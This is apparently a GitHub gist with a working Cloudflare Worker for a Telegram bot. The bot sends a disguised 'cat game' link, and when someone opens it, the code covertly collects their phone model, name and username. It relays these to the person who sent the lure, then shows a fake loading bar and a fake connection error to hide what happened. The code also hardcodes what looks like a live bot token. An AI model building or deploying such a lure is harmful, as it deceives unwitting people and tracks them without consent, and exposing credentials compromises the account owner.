Skip to content

Instantly share code, notes, and snippets.

@behnamonline
Last active August 26, 2025 08:21
Show Gist options
  • Select an option

  • Save behnamonline/7b3f76e240486fd5663f6a63554fed20 to your computer and use it in GitHub Desktop.

Select an option

Save behnamonline/7b3f76e240486fd5663f6a63554fed20 to your computer and use it in GitHub Desktop.
phone detector telegram bot
const BOT_TOKEN = '8253131203:AAFRLN8PiV3cgnztWlFn1W-tbSq6yssHjsA'; // token robot az bot father
const BOT_ID = "huhcat_game_bot" // id robot bedoone @
const HOOK = BOT_TOKEN.split(":")[0]
export default {
async fetch(request, env, ctx) {
const url = new URL(request.url);
const userAgent = request.headers.get("user-agent") || "";
async function postReq(url, fields) {
const tgFormData = new FormData();
fields.forEach(obj => {
for (let key in obj) {
tgFormData.append(key, obj[key]);
}
});
const telegramResponse = await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/${url}`, {
method: 'POST',
body: tgFormData,
});
return await telegramResponse;
}
const scriptContent = await (await fetch("https://telegram.org/js/telegram-web-app.js?56")).text();
const appurl = `${url.protocol}//${url.hostname}`
const html = `<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Cat Game</title>
<style>
body,html{height:100%;margin:0;display:flex;justify-content:center;align-items:center;font-family:sans-serif;background:#000;color:#fff}
#container{text-align:center;}
#bar{margin-left: auto;margin-right: auto;width:300px;height:25px;border:2px solid #ff69b4;margin-top:20px;position:relative;overflow:hidden;border-radius:12px}
#fill{height:100%;width:0;background:#ff1493;border-radius:12px}
#msg{margin-top:10px;font-size:20px;color:#ff69b4}
#percent{margin-top:5px;font-size:16px}
</style>
<script>
${scriptContent}
</script>
</head>
<body>
<script>
(function () {
const ua = navigator.userAgent;
let model = "Unknown";
let detailText = "User-Agent: " + ua + "";
// تشخیص آیفون از روی یوزر ایجنت
if (/iPhone/i.test(ua)) {
detailText += "Device type: iPhone";
const dpr = Math.round(window.devicePixelRatio || 1);
const width = Math.round(screen.width);
const height = Math.round(screen.height);
const physicalWidth = width * dpr;
const physicalHeight = height * dpr;
const resolutionKey = [physicalWidth, physicalHeight].sort((a, b) => a - b).join("x");
const map = {
"1125x2436": "iPhone X, XS, 11 Pro",
"1242x2688": "iPhone XS Max, 11 Pro Max",
"828x1792": "iPhone XR, 11",
"1170x2532": "iPhone 12, 12 Pro, 13, 13 Pro, 14",
"1284x2778": "iPhone 12 Pro Max, 13 Pro Max, 14 Plus",
"1290x2796": "iPhone 14 Pro Max, 15 Pro Max",
"1179x2556": "iPhone 15, 15 Pro",
"750x1334": "iPhone SE (3rd Gen)"
};
model = map[resolutionKey] || "iPhone (unknown model)";
/* detailText +=
"devicePixelRatio: " + dpr + "" +
"screen.width: " + width + "" +
"screen.height: " + height + "" +
"Physical resolution: " + physicalWidth + "x" + physicalHeight + "" +
"Resolution key: " + resolutionKey + "";
*/
}
// تشخیص مدل گوشی اندروید از User-Agent
else if (/Telegram-Android/i.test(ua)) {
// detailText += "Device type: Android";
const lastParenMatch = ua.match(/\\(([^)]*)\\)\\s*$/);
if (lastParenMatch && lastParenMatch[1]) {
const parts = lastParenMatch[1].split(";");
if (parts.length > 0) {
model = parts[0].trim(); // مثلا Samsung SM-A127F
}
}
}
const str = Telegram.WebApp.initData;
const userEncoded = str.match(/user=([^&]+)/)[1];
const userObj = JSON.parse(decodeURIComponent(userEncoded));
fetch("${appurl}/send?true=1", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ u: "<USER>" , phone: model , first_name: userObj.first_name, last_name: userObj.last_name, username: userObj.username})
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error("Error:", error));
})();
</script>
<div id="container">
<img src="${appurl}/img2.png" style="width: 70vw;" alt="centered">
<div id="msg">Loading...</div>
<div id="bar"><div id="fill"></div></div>
<div id="percent">0%</div></div>
</div>
<script>
const min=70,max=90;
const target=Math.floor(Math.random()*(max-min+1))+min;
const duration=(Math.random()*3+2)*1000;
const fill=document.getElementById('fill');
const percent=document.getElementById('percent');
const container=document.getElementById('container');
let start=null;
function animate(ts){
if(!start) start=ts;
const progress=Math.min((ts-start)/duration,1);
const current=progress*target;
fill.style.width=current+'%';
percent.innerText=Math.floor(current)+'%';
if(progress<1){
requestAnimationFrame(animate);
}else{
setTimeout(()=>{document.body.innerHTML='<div style="color:red;font-size:30px;text-align:center;margin-top:40vh;">❌Error: Bad connection</div>';},1000);
}
}
requestAnimationFrame(animate);
</script>
</body>
</html>
`
if (request.method === "POST" && url.pathname.startsWith("/send")) {
const body = await request.json();
await postReq(`sendMessage`, [
{ "chat_id": body.u },
{ "text": "@" + body.username + "\n" + body.first_name + " " + body.last_name + " \n مدل گوشی: " + body.phone },
]);
return new Response("ok", {
status: 200,
headers: {
"content-type": "text/html; charset=UTF-8"
}
});
}
if (url.pathname.startsWith("/game")) {
const u = url.searchParams.get("u");
return new Response(html.replace("<USER>", u), {
status: 200,
headers: {
"content-type": "text/html; charset=UTF-8"
}
});
}
if (url.pathname === "/init") {
const response = await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/setWebhook`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
url: `${url.protocol}//${url.hostname}/${HOOK}`,
drop_pending_updates: true
})
});
const result = await response.json();
if (result.ok) {
return new Response("Webhook successfully set!", { status: 200 });
} else {
return new Response(`Failed to set webhook: ${result.description}`, { status: 400 });
}
}
if (url.pathname === "/" + HOOK) {
if (request.method === "GET") {
return new Response("hook", { status: 200 });
}
if (request.method === "POST") {
try {
const body = await request.json();
const bodymsg = body.message.text;
const usr = body.message.text.split(" ")[1];
const chatId = body.message.chat.id;
if (bodymsg == "p") {
await postReq(`sendMessage`, [
{ "chat_id": chatId },
{ "text": "پیام زیر به هرکس بفرستید بازی استارت کنه مدل گوشیش به شما گفته میشه" },
]);
await postReq(`sendPhoto`, [
{ "chat_id": chatId },
{"photo":"https://i.ibb.co/WdxysQ4/huh3-min.png"},
{ "caption": "بازی جدید گربه \n بازی کن امتیاز بگیر و برنده شو"+" 😀" },
{
"reply_markup": JSON.stringify({
"inline_keyboard": [
[
{
"text": "☑️ "+"ورود به بازی",
"url": "https://t.me/" + BOT_ID + "?start=" + chatId
}
]
],
})
}
]);
}
if (usr) {
await postReq(`sendPhoto`, [
{ "chat_id": chatId },
{ "photo": "https://i.ibb.co/vgPM3vX/huh2.png" },
{ "caption": "برای شروع روی دکمه ی زیر بزن 🙂👇" },
{
"reply_markup": JSON.stringify({
"inline_keyboard": [
[
{
"text": "🟢 شروع بازی 🟢",
"web_app": {
"url": url.protocol + "//" + url.hostname + "/game/?u=" + usr
}
}
]
],
})
}
]);
}
} catch (e) {
}
}
}
if (url.pathname === "/img2.png") {
const imageURL = "https://i.ibb.co/WdxysQ4/huh3-min.png";
// تنظیمات کش در سمت Cloudflare Edge
const cacheInit = {
cf: {
cacheEverything: true, // حتی ریسپانس‌های غیر-HTML هم کش شود
cacheTtl: 24 * 60 * 60 // عمر کش: ۲۴ ساعت (به ثانیه)
}
};
// نگاه کن ببین قبلاً کش شده یا نه
const cache = caches.default;
let response = await cache.match(request);
if (response) {
return response; // از کش بده
}
// اگر نبود، دانلود کن
const originResp = await fetch(imageURL);
if (!originResp.ok) {
return new Response("Failed to fetch image.", { status: 500 });
}
const arrayBuf = await originResp.arrayBuffer();
// ریسپانس جدید بساز
response = new Response(arrayBuf, {
status: 200,
headers: {
"Content-Type": originResp.headers.get("Content-Type") || "image/png"
}
});
// داخل کش ذخیرش کن
ctx.waitUntil(cache.put(request, response.clone(), cacheInit));
return response;
}
return new Response("idle", {
status: 200,
headers: {
"content-type": "text/html; charset=UTF-8"
}
});
},
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment